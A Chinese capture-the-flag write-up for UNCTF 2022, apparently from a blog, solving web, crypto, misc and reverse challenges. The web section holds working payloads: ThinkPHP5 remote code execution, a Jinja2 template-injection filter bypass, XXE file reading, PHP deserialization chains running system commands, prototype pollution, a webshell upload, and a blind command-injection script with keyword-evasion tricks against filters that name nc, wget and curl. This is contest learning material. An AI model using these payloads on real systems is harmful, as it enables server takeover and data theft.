这次比赛学习到了很多知识,主要做的是web,而且web做的也不是很好,为了拿分到后面只能边学边做杂项和逆向,基本都是csdn然后跟着步骤做出来的,原理什么的还没开始学,也只能做做简单题了。。。纪录一下吧。路还长,还要继续走。

Web

我太喜欢bilibili大学啦1(phpinfo)

phpinfo()搜索flag或者unctf

签到(默认密码 遍历用户名)

bp爆破用户名,初始学号开始爆破n位,密码不变

babyphp(sha1()绕过 phpinfo)

访问index.php

源码

 <?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_POST["a"])){if($_POST["a"]==0&&$_POST["a"]!==0){if(isset($_POST["key1"])&isset($_POST["key2"])){$key1=$_POST["key1"];$key2=$_POST["key2"];if ($key1!==$key2&&sha1($key1)==sha1($key2)){if (isset($_GET["code"])){$code=$_GET["code"];if(!preg_match("/flag|system|txt|cat|tac|sort|shell|\.| |\'/i", $code)){eval($code);}else{echo "有手就行</br>";}}else{echo "老套路了</br>";}}else{echo "很简单的,很快就拿flag了~_~</br>";}}else{echo "百度就能搜到的东西</br>";}}else{echo "easy 不 easy ,baby 真 baby,都是玩烂的东西,快拿flag!!!</br>";}
}

数组返回null绕过sha1函数,弱比较,false == false => true
flag藏在phpinfo里,搜索

payload

GET:?code=phpinfo();
POST:a=0a&key1[]=1&key2[]=2

easy_upload(文件上传 找flag)

修改MIME即可上传,蚁剑连接

找到/tmp/flag.sh文件,发现flag藏在/home/ctf/flag

给你一刀(THINKPHP5 ENV)

直接网上搜漏洞payload,flag在环境变量里

payload

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=env

我太喜欢bilibili大学啦2(目录扫描 phpinfo)

根据题目搜索hint,base64解码

访问admin_unctf.php

f12看到提示让抓包,试试

继续解码,得到用户名密码

源码

<?php
putenv("FLAG=nonono");
if(!isset($_POST['username']) && !isset($_POST['password'])){exit("username or password is empty");
}else{if($_POST['username'] === "unctf2022" && $_POST['password'] === "unctf2022"){show_source(__FILE__);@system("ping ".$_COOKIE['cmd']);}else{exit("username or password error");}
}

这里注意Cookie发送

由于刚才登录成功的时候已经发送cookie给服务器了,所以再次发送cookie无法有结果。我的做法是销毁靶机重新开,等到第一次登录的时候抓包,添加cookie。

解码,访问,得到flag。(踩了挺久的坑)

302与深大(重定向 cookie伪造 目录扫描)

f12查看源码,提示302,让我们找到原来的页面。看到url发现一进来的页面是saveas.html,一般来说应该是默认index.php。于是试试访问index.php(需要抓包)

bp抓包修改,访问index.php

获得前半段flag。然后右键改变请求方式,根据提示,添加Cookie: admin=true

搜索flag即可获得后半段

或者通过目录扫描,得到Dockerfile,获得后半段flag

easy_ssti(jinjia2 ssti 绕过 ENV)

登录进去,看到页面显示了我们的用户名。接下来判断是什么模板。

使用{{7*‘7’}}发现结果,判断为jinjia2

尝试执行命令,发现过滤class。

这里学到了Y4tacker大佬的SSTI绕过payload

Flask在渲染模板的时候,有

"".__class__=== ""["__class__"]

这一特性,把上下文变成了[]中的字符串,这个特性经常会被用来绕过点号的过滤。
由于里面的内容已经是字符串了,还可以做一个这样的变形

"".__class__===""["__cla"+"ss__"]

这样就能够使用拼接的方式绕过class,包括下面的subclasses也是如此。但是可能也无法执行,响应码为500,显示如下内容,不能完成请求

后面尝试将59修改成其他较大数字(超过__subclasses__类子类个数),发现成功了(当时搞了挺久没想到这样能执行,运气来了,也不懂什么原理,大概是因为后面的__init__会初始化类吧)

payload

user={{()["__cla""ss__"]["__bases__"][0]["__subcla""sses__"]()[211].__init__.__globals__['__builtins__']['ev'+'al']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("env")'+'.re'+'ad'+'()')}}&pwd=123

听说php有一个xxe(文件读取)

根据提示访问/hint和dom.php,获得dom.php代码

post发送读取文件的外部实体payload,读取/flag

由于没有安装expect扩展,不能用该方式执行命令

payload

<!DOCTYPE note [<!ENTITY textContent SYSTEM "file:///flag">]>
<user><username>&textContent;</username></user>

ezunseri(反序列化 属性不敏感 pop构造 fast_destruct)

源码

 <?php
highlight_file(__FILE__);
error_reporting(0);class Exec
{public $content;public function execute($var){eval($this->content);}public function __get($name){echo $this->content;}public function __invoke(){$content = $this->execute($this->content);}public function __wakeup(){$this->content = "";die("1!5!");}}class Test
{public $test;public $key;public function __construct(){$this->test = "test123";}public function __toString(){$name = $this->test;$name();}} class Login
{private $name;public $code = " JUST FOR FUN";public $key;public function __construct($name="UNCTF"){$this->name = $name;}public function show(){echo $this->name.$this->code;}public function __destruct(){if($this->code = '3.1415926'){return $this->key->name;}}}if(isset($_GET['pop'])){$a = unserialize($_GET[pop]);
}else{$a = new Login();$a->show();
}
<?php
//Exec::execute() <- Exec::__invoke() <- Test::__toString() <- Exec::__get() <- Login::__destruct()
class Exec
{public $content;
}class Test
{public $test;public $key;
}class Login
{public $name;public $code;public $key;
}$l = new Login();
$l->key = new Exec();
$l->key->content = new Test();
$l->key->content->test = new Exec();
$l->key->content->test->content = "system('cat /flag');";echo serialize($l);   //去掉最后一个'}'

返回包查看php版本,版本7.1+属性不敏感,绕过private。

去掉最后一个’}'即可在调用__wakeup()之前调用__destruct(),绕过__wakeup()

payload

?pop=O:5:"Login":3:{s:4:"name";N;s:4:"code";N;s:3:"key";O:4:"Exec":1:{s:7:"content";O:4:"Test":2:{s:4:"test";O:4:"Exec":1:{s:7:"content";s:20:"system('cat /flag');";}s:3:"key";N;}}

poppop(反序列化 pop构造 private ENV)

源码

 <?php
class A{public $code = "";function __call($method,$args){eval($this->code);}function __wakeup(){$this->code = "";}
}class B{public $key;function __destruct(){echo $this->key;}
}
class C{private $key2;function __toString(){return $this->key2->abab();}
}if(isset($_POST['poc'])) {unserialize($_POST['poc']);
}else{highlight_file(__FILE__);
}
<?php
//A::__call() <- C::__toString() <- B::__destruct()
class A{public $code;
}
class B{public $key;
}
class C{public $key2;   //源代码中为private,payload需要添加%00
}$b = new B();
$b->key = new C();
$b->key->key2 = new A();
$b->key->key2->code = "system('ls')";echo serialize($b);//poc=O:1:"B":3:{s:3:"key";O:1:"C":1:{s:7:"%00C%00key2";O:1:"A":1:{s:4:"code";s:14:"system('env');";}}}

payload

poc=O:1:"B":3:{s:3:"key";O:1:"C":1:{s:7:"%00C%00key2";O:1:"A":1:{s:4:"code";s:14:"system('env');";}}}

babynode(nodejs 原型链污染 Content-Type修改)

源码

app.post('/', function(req, res) {var flag='flag';var admin = {};let user = {};try{copy(user,req.body);} catch (error){res.send("copy error");return;}if(admin.id==='unctf'){res.end(flag);}else{return res.end("error");}
}

注意需要把Content-Type改为application/json

payload

{"__proto__":{"id":"unctf"}}

easy_rce(布尔盲注 if)

源码

 <?php
# flag in /flagif(isset($_GET['code'])){$code=$_GET['code'];if (!preg_match('/\@|\#|\%|:|&|;|\\\\|"|\'|`|\.|\&|\*|>|<|nc|wget|bash|sh|netcat|grep|base64|rev|curl|wget|php|ping|cat|fl|mkdir/i',$code)){exec($code,$output,$return_val);if(!$return_val)   echo "success";else{echo "fail"; }}else{die("小黑子,露出只因脚了吧");}
}
else{highlight_file(__FILE__);
}
?>

题目提示flag在/flag。

exec($code,$output,$return_val)
执行$code命令,以数组的形式输出到$output数组中,命令执行失败返回空数组。$return_val为执行命令后返回的值

if(!$return_val)?code=return 0          //$return_val = 0 => if(!0) => 页面显示success
?code=return 1         //$return_val = 1 => if(!1) => 页面显示fail?code=exit 0           //$return_val = 0 => if(!0) => 页面显示success
?code=exit 1           //$return_val = 1 => if(!1) => 页面显示faillinux下return和exit都可以使用,windows下经过测试只有exit可以

由此,我们可以执行cut命令获取文件中的内容,借助if判断,返回0或1,根据页面显示success或fail来达到盲注,与sql类似。

if [ $(cut -c 1 /flag) = 'U' ];then return 1; fi          //取/flag文件的第一个字符,如果等于'U',返回1,否则命令没有执行成功,返回0。注意'['、']'的右、左侧都要一个空格

再结合base64编码绕过,之后使用sh(试过使用bash不行)。使用$()绕过关键字。这里有个问题,base64编码后的结果可能匹配到黑名单,导致得到的flag不全。可以通过多加几个空格来解决这个问题。

 if [ $(cut -c  1   /?lag ) = 'U'   ]  ; then    return  1 ; fiecho IGlmIFsgJChjdXQgLWMgIDEgICAvP2xhZyApID0gJ1UnICAgXSAgOyB0aGVuICAgIHJldHVybiAgMSA7IGZp|base6$()4 -d|s$()h

脚本

import base64
import requests
import string
t=string.ascii_letters+string.digits
t=t+"{}_-`~!@#$%^&*()+"
result = ""
for i in range(1,50):for j in t:payload0=rf" if [ $(cut -c  {i}   /?lag ) = '{j}'   ]  ; then    return  1 ; fi"payload1 = str(base64.b64encode(payload0.encode("utf-8")), "utf-8")payload2 = "echo "+payload1+"|base6$()4 -d|s$()h"url="http://03983356-25f0-4b9f-bad6-9733e039571c.node.yuzhian.com.cn/?code="+payload2r = requests.get(url=url)#print(r.text)if('fail' in r.text):result += jprint(result)breakif '}' in result:break

Crypto

md5-1(碰撞)

from hashlib import md5
import strings = string.ascii_letters+string.digits+string.punctuation
result = ""l=[]
with open(r'D:\Desktop\test\crypto-md5-1\out.txt','r') as f:for line in f:line = line[:-1]    #去掉\nl.append(line)for i in range(0,len(l)):for j in s:if md5(j.encode()).hexdigest() == l[i]:result += jbreakprint(result)

dddd(摩尔斯密码 变换)

110/01/0101/0/1101/0000100/0100/11110/111/110010/0/1111/10000/111/110010/1000/110/111/0/110010/00/00000/101/111/1/0000010

写个脚本,将0替换为-或.,将1替换为.或-,通过在线工具解密

s = r"110/01/0101/0/1101/0000100/0100/11110/111/110010/0/1111/10000/111/110010/1000/110/111/0/110010/00/00000/101/111/1/0000010"
s = s.replace('1','.')
s = s.replace('0','-')
print(s)#a = r"U N C T F %u7b Y 4 S %ud T H 1 S %ud J U S T %ud M 0 R S E %u7d "
#print(a.replace(" ",""))

最后把一些符号替换成{_}

caesar(凯撒密码 变换)

将普通字母表换成base64即可

md5-2(碰撞 异或 变换)

根据源代码可知,txt文件的每个字符串是由flag中的第i-1个哈希值十进制和第i个哈希值十进制异或得到(i=0时为文件中的字符串为第一个字符的哈希值),最后将结果转为十六进制。

for i in range(0,len(md5_)):if i==0:with open('out.txt','a')as file:file.write(hex(md5_[i])[2:]+'\n')else:with open('out.txt','a')as file:file.write(hex(md5_[i]^md5_[i-1])[2:]+'\n')

由于两个相同的数异或为0,任意数和0异或是本身,因此过程可逆

12 ^ 12 = 0     11 ^ 13 ^ 11 = 13

写脚本将其过程逆向得到原本第i个字符的哈希值,最后碰撞得到flag

脚本

import string
from hashlib import md5l=[]
with open('out.txt','r') as f:for line in f:line = line[:-1]l.append(line)
print(l)z = []
for i in range(0,len(l)):if(i==0):z.append(l[0])elif(i>0):y = hex(int(l[i],16)^int(z[i-1],16))[2:]if(len(y)!=32):        #哈希值为0开头就会导致无法匹配,因此需要判断长度,当然也有可能需要加两个0,但可能性比较小y = "0"+yz.append(y)s = string.ascii_letters+string.digits+string.punctuation
result = ""for k in range(0,len(z)):for i in s:x = md5(i.encode()).hexdigest()if(x == z[k]):result+=iprint(result)break

ezRSA(RSA 变换)

源代码

import libnump=libnum.generate_prime(256)
e=65537
m=flagm=libnum.s2n(m)
n=p**4
phi_n=p**4-p**3
d=libnum.invmod(e,phi_n)
c=pow(m,e,n)print ("n=",n)
print ("e=",e)
print ("c=",c)
62927872600012424750752897921698090776534304875632744929068546073325488283530025400224435562694273281157865037525456502678901681910303434689364320018805568710613581859910858077737519009451023667409223317546843268613019139524821964086036781112269486089069810631981766346242114671167202613483097500263981460561
65537 56959646997081238078544634686875547709710666590620774134883288258992627876759606112717080946141796037573409168410595417635905762691247827322319628226051756406843950023290877673732151483843276348210800329658896558968868729658727981445607937645264850938932045242425625625685274204668013600475330284378427177504

给出n、e、c,求m。phi_n和n为题目给的,网站分解n得到p,其他按照正常步骤进行解密即可

脚本

import gmpy2
import binasciie=65537
p=89065756791595323358603857939783936930073695697065732353414009005162022399741
c=56959646997081238078544634686875547709710666590620774134883288258992627876759606112717080946141796037573409168410595417635905762691247827322319628226051756406843950023290877673732151483843276348210800329658896558968868729658727981445607937645264850938932045242425625625685274204668013600475330284378427177504n=p**4
phi_n=p**4-p**3d=gmpy2.invert(e,phi_n)m = gmpy2.powmod(c,d,n)
m = binascii.unhexlify(hex(m)[2:])
print("m=",m)

Single table(playfair变换)

古典密码playfair加解密的变换,观察如何加密,再反向即解密。(这里的P1P2同行有两种情况,最后根据解密的结果猜测flag,紧靠左方)

结果

Misc

magic_word(乱码+零宽隐写)

打开文件发现有乱码和一堆符号,试试将.docx后缀改为.zip,到word的document.xml复制乱码去网上的乱码在线自动修复工具,得到提示。

发现这一堆符号变成了一段英文

零宽字符,不可见、不可打印的字符,用于调整字符的显示格式

常见的零宽字符以及unicode码如下:

零宽度空格符U+200B:较长单词换行分隔

零宽度非断空格符U+FEFF:阻止特定位置的换行分隔

零宽度连字符U+200D

零宽度断字符U+200C

左至右符U+200E

右至左符U+200F

将一堆符号复制到linux,用打开vim查看,可以看到有蓝色的零宽字符

使用在线工具零宽解码

复制xml里面的英文到左上角的框,然后点击encode,再点击decode,即可得到flag(一次可能无法得到,可以clear重新粘贴重复上述步骤,或者上传文件来解码)

找得到我吗(改后缀.zip)

改后缀.zip,进入word的document.xml看到flag

syslog(搜索 解压密码)

打开压缩包,搜索password,得到base64编码,解码,得到压缩包密码

拿去解压flag.zip得到flag

Reverse

whereisyourkey(ExeinfoPE gcc elf 32bit)

010Editor打开搜索没有flag,使用工具ExeinfoPE,得到信息,32位文件,elf文件

拖到ida,shift+F12搜索flag

双击main函数查看

看到ooooo()函数,双击查看

所以,main函数大概意思是:我们输入的长度为10的字符串key的每一个字符,需要与v5-v14分别经过ooooo()函数处理返回的字符相同。接下来编写python代码实现

代码

a = [118,103,112,107,99,109,104,110,99,105]def ooooo(a1):if a1 == 109:return 109if ( a1 <= 111 ):if ( a1 <= 110 ):a1 -= 2else:a1 += 3return a1s = []
for i in a:s.append(ooooo(i))
print(s)x = ""
for i in s:x+=chr(i)print(x)

UNCTF2022wp相关推荐

最新文章

  1. 设计模式:迭代器模式
  2. 安装Termux的手机上运行Python
  3. 在Apache上隐藏服务器签名的方法
  4. RabbitMQ(五):Exchange交换器--topic
  5. 【Linux】一步一步学Linux——read命令(220)
  6. 5.23考前友情提醒
  7. 删除linux系统中的eth0.bak与多余的网卡
  8. 【图像转换】基于matlab二维图转三维图【含Matlab源码 465期】
  9. hadoop安装教程(一次填完所有的坑)
  10. InnoDB存储引擎
  11. C#程序员整理的Unity 3D笔记(十三):Unity 3D基于组件的思想
  12. python学习——python平台搭建
  13. 计算机应用专业配置标准,计算机应用专业技能抽查考试标准.doc
  14. SAP VK11 报错“条件不能创建在分销渠道 10 中”
  15. 众享比特 2018 LC3大会分享:如何基于Fabric实现供应链金融平台系统?
  16. 计算机c盘哪些可以清理,怎么清理C盘?不知道哪些可以删除?
  17. Mac 系统下VisualVM的安装
  18. 拼多多关键词搜索采集商品数据接口,拼多多分类ID搜索采集商品销量接口,拼多多上货接口,拼多多商品列表API接口
  19. Oracle-多表查询
  20. 整理10种电脑截图工具(附带下载地址)

热门文章

  1. swift:使用NSJSONSerialization和SwiftyJSON两种方法解析网络返回的json格式数据
  2. 网页中的编码方式的查看
  3. 使用ettercap进行dns欺骗
  4. MATLAB计算K近邻
  5. 战滩斗水:一个长江航道人的风雨回忆
  6. nodejs Koa框架及常用中间件
  7. matlab 限速标志数字识别之去除标志外环噪声
  8. SPOJ Problem 3410:Feynman
  9. java1310错误,CC1310开发常见问题和解答(示例代码)
  10. matlab逐差法处理数据非线性,逐差法使用条件(逐差法处理数据的条件)